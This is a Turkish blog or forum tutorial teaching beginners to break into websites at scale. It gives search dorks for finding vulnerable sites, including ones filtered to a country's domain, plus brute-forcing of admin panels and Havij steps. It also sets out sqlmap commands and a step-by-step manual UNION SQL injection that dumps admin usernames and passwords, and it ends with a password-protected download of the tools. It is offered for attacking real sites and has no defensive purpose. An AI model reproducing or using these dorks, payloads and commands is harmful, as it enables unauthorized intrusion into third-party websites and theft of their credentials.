MERHABA ARKADAŞLARŞimdi Arkadaşlar Uzatmadan İşleyecegimiz Konulara Göz Atalım
Bu Konuları Hiyerarşik Düzene Dogru Sıralayacagım.
* Brute & Arama Motoru
* Havij
* Sqlmap
* Sql İnjection
Eger İlgi Gelirse "Rfı" & "xss" Açıklarından Ve Nasıl Elinizdeki Siteden Yararlanacabileceginizi
Yani Nasıl O Siteden Daha Fazla Site Hackleyebilecegini "Mass Deface'i" Anlatacağım.
Evet Arkadaşlar Şimdi Uzatmadan Anlatıma Geçmek İstiyorum
Uzun Olacagını Tahmin Ediyorum Kesinlikle Her Konumda Oldugu Gibi
Özgün Anlatım Olucak Yani Konu Bazı Ufak Yerleri Dışında Tamamen Bana Aitdir Alıntı Yapacaklarımı Alıntındır Diye Bahsedecegim.
Bu resim yeniden boyutlandırılmıştır, tam halini görmek için tıklayınız. |
Brute & Arama Motorlarından Başlamak İstiyorum Nedeni İse Hiyerarşik Düzene
Göre Gitmemizdir.
Yeni Başlayan Arkadaşlarımız İçin Gerçekten Veri Nimet Diyebiliriz.
Hatta Sql Xss Gibi Açıkları Bilseniz Dahi Bruteden Tek 1 Siteden
Yüzlerce Site Hackleyebilirsiniz.
Kısaca Mantıgını Anlatım ;
Yardımcı Programımız Arama Motoru Sayesinde Dorklar Yazıyoruz.
Bu Dorkları Geliştirebiliyoruzda.
İlk Olarak Nasıl Normal Olanını Anlatıcağım Daha Sonra İse Gelişmiş Dork Nasıl Yazılır Ondan
Bahsederiz.
Örnek Olarakda Yapacagız.
Mesela Diyelim 5 İngilizce Veyahut Başka Dil Bir Kelime Buldunuz.
Herhangi Bir Kelime Olabilir.
Kelimelerimiz ;
Kod:
Computer
Mause
Tea
Cold
Black
Şimdide Bunların Başına Ekleyecegimiz Dorklarımızı Yazıyoruz
Bu Dorklardan Bir Çok Sayıda Var Fakat En Çok Kullanılan 3 Kodu Veriyorum.
Kod:
("author/admin")
("uncategorized/hello-world")
("uncategorized")
Bazı Dork Programlarımız Var Fakat Ben El İle Tercih Ediyorum.
Nasıl Yapacagız Diyorsanız Eger ;
Kod:
Sectigimiz Bir Dork'u Kelimelerimizin Başına Yazıyoruz.
Örnek ;
("uncategorized")Computer
("uncategorized")mause
("uncategorized")tea
("uncategorized")cold
("uncategorized")black
Çıkan Sonuç Mesela 5 Veya 6 Bin Site Bunları Brute Force'da Taratarak
Bazı Sitelerimizi Admin Panellerine Ulaşabiliriz.
Bunu Nasıl Geliştirip Daha Fazla Site Hackleyebilirim Derseniz Eger Ülke Domain Adları Vardır.
Mesela Ülkemizle Sorunun'dan Dolayı Bugunlerde İsmini Çok Duydugumuz Ülkenin
Kısaltması "RU"dur Bunu Nasıl Dorklarımı Yerleştirebilirim Dersenizde Eger
Örnek ;
Kod:
Gerçi Biz İng Dilini Kullandık Fakat Mantıgı Göstermek İstiyorum
("uncategorized")mause Bu Yukarıda Yazdıgımız Kodumuz.
Mesela Rusyanın Sitelerini Aratmak İstiyoruz.
("uncategorized")mause Site:RU.
Verecegim
Havij Arkadaşlar Brute Force Kadar Basit Bunu'da Dork Yoluyla Buluyoruz
Yada Hedef Site İçinde Uygulayabilirsin Tabiki Hedef Sitede Sql İnjecion Varsa
Ona Bakmak İçinde Gerekli Programlar Var Şimdi Onları Açıklamayaagım
Uzatmadan Anlatıma Geciyorum.
İlk Öncelikle Sql Açıklarını Bulmamız İçin Dork Yazıyoruz.
Bu Dorklarıda Brute Force Gibi Geliştebiliyrouz.
Hemen Değinelim
Kod:
inurl:index.php?id=
Sitelerde İsterseniz Programlar ile Yada Manuel Olarak'da Yapabilrisiniz.
Başına Tırnak İşareti Yani( ' ) Bu İşareti Koyarak Yani
Örnek ;
Kod:
Bu Sitemiz
www.örneksite.com/index.php?id=1
Hatayı Bulmak İçin
www.örneksite.com/index.php?id=1'
Gördügünüz Gibi Sona Bir Tırnak İşareti Ekledim Eger Karşımıza Bir Hata Geliyorsa Sitede Sql Açıgı Vardır Demektir.
Örnek ;
Kod:
Yine Rusya Üzerinden Örnek Verecegim.
inurl:php?id= intext:"sql syntax" site:Ru
Bu Şekildede Geliştebiliriz.
Kod:
"www.örneksite.com/index.php?id=1'" sitemiz buydu bu şekilde Havij’e yapıştırıyoruz.
Analyze diyoruz Analyze ettikden sonra Tables diyoruz
Tables dedikten sonra Get Tables diyi kolonları çekiyoruz.
Çektikten sonra admin_pass’ı seçip Get Columns diyoruz
Admin_pass ı açtıktan sonra username ve password seçeneğine tıklayıp Get data diyoruz ve username şifre elimizde
Evet Arkadaşlar Yukarıda Zaten Dorklarımızı Vermiştik Hatta Nasıl Geliştireleceginden'de Bahsetmiştik.
Sitede Açık Varmı Yokmu Onu Nasıl Anlayacagımızıda Ögrenmiştik Şimdi İse
Sqlmap İle Nasıl Yapabilecegimizi Bahsedelim.
Öncelikle Kurulumunu Nasıl Yapıldıgını
Eger Kurulu İse Hemen Diger Adımlara Geçelim.
Cmd'i Açıyoruz 2 Kez "Cd.." Diyoruz.
Daha Sonra Sqlmap.py Yazıyoruz.
Daha Sonrasında
Kod:
sqlmap.py -u http://örneksitefehor.com/sqlinjectionaciklibolum?id= --dbs
Yani biz yukarıda bulduğumuz siteyi çekmek için şu şekilde yazacağız
Kod:
Kod:
sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 --dbs
Tespiti yapıyor bize açık olduğunu söylüyor ve yine "y" yazıp ENTER tuşuna basıp devam ediyoruz sonucunda veritabanı bilgilerini çekiyor aşağıdaki gibi
SQLMAP'te sitenin tablolarını çekmek için şu kodu kullanırız
Kod:
Kod:
sqlmap.py -u http://hedefurl.com Veritabanı_Adı --tables
Kod:
Kod:
sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 seaofstories_app --tables
3. Adım : Veritabanı Tablolarınının Kolonlarını Çekme (Columns)
SQLMAP'te tablo kolonlarını çekmek için şu kodu kullanırız
Kod:
Kod:
sqlmap.py -u http://hedefurl.com -D Veritabanı_Adı -T Tablo_Adı --columns
Kod:
[code]sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 -D seaofstories_app -T Administrators --columns[CODE]
Bu şekilde kodumuzu yazıp ENTER tuşuna bastığımızda bize o tablonun kolonlarını çekecektir işlem sırasında yine [Y/N] ? diye sorarsa "y" diyip Enter basın.
Gördüğünüz gibi kolonları çekti şimdi sıra geldi son işleme bize panele girmek için "Username" ve "Password" kolonlarındaki ıd ve şifreler gerekli bunun için 4. adıma gidiyoruz.
4. Adım : Kolonlardaki Verileri Çekme (Dump)
SQLMAP'te kolonlardaki verileri çekmek için şu kodu kullanırız
Kod:
Kod:
sqlmap.py -u http://hedefurl.com -D Veritabanı_Adı -T Tablo_Adı -C Kolon_Adı --dump
Kod:
Kod:
sqlmap.py -u http://http://örneksitefehor.com/title.php?id=5193 -D seaofstories_app -T Administrators -C password --dump
Daha Önce Yukarıda Nasl Dork Bulunacagını Ve Nasıl Geliştirebilecegimizi Ögrenmiştik.
Şimdi İse Hatamızı Aldık Ve Sql İnjection Manuel'e Giriş Yapıyoruz.
Şu Şekilde;
Kod:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,
Kod:
-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.
Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.
Şimdi Komutlar Başlıyor,
"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.
O da Şu Şekilde Olacak ;
Kod:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. (:
Kod:
Şu Şekilde;
Kod:
Kod:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
-----
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .
Kod:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~
Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.
Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.
Union Select Komutunu
Şu Şekilde Kullanacağız ;
Kod:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;
Kod:
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,
Kod:
Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.
Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım
Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.
Sırada Version Alma İşlemi Var.
Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.
Şu Şekilde Yapmalıyız.
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.
Kod:
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.
Kod:
Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.
Tablo alma işlemini yapmak için;
3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.
Şu Şekilde ;
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.
Kod:
Şu Şekilde;
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.
Kod:
Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.
İşimize Yarayan Tablo İsimleri Neler Olabilir?
Kod:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,
Kod:
Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz
Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.
Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.
Kod:
İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.
İşimize Yarayan Kolon Adları Neler Olabilir?
Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.
Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.
Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.
Şu Şekilde Olacak ;
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Kod:
Kod:
Http://http://örneksitefehor.com/index.php?id=5193 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.
Alıntıdır.
Evet Arkadaşlar Konumzun Sonuna Geldik Ne Kadar'da "Alıntı Yapılacaksa Eger Nick'im Verilmesini Rıca Ediyorum" Desem'de Kendi Makalesiymiş Gibi Alıntı Yapılıyor.
Baya Ugraştırdı Yardımım Dokunduysa Ne Mutlu Bana Aşagıda Sizlere Gerekli Dosyaları Verecegim
Sqlmap, Safe3, Python & Ülke Domain Adları İçin
------------------------
TIKLA
VİRUSTOTALRar Pass: fehor
Havij 1.7 İçin ( Ben Upload Etmedim Fakat Kaynak Güvenilir )
--------------------
TIKLA
0 yorum:
Yorum Gönder